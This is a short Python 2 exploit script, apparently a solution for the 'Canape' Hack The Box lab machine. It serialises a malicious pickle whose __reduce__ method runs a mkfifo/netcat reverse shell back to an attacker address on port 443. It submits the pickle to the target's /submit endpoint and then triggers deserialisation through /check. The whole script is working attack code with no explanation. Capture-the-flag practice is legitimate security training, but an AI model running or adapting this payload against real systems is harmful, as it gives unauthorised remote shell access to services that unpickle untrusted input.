Canape HTB

.py

import cPickle, os
from requests import post
from hashlib import md5

host='10.10.14.173'
port=443

class expl(object):                     
	def __reduce__(self):
            return (os.system,('echo bart; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc %s %d >/tmp/f'%(host,port), ))
char=cPickle.dumps(expl())
quote=' '

print char

submit=post('http://10.10.10.70/submit', data={'character':char,'quote':quote})

if 'Thank you for your suggestion!' in submit.text:
    print submit.status_code, ';)\n'
else:
    print submit.text;exit()

check=post('http://10.10.10.70/check', data={'id':''.join(md5(char+quote).hexdigest())})
print check.status_code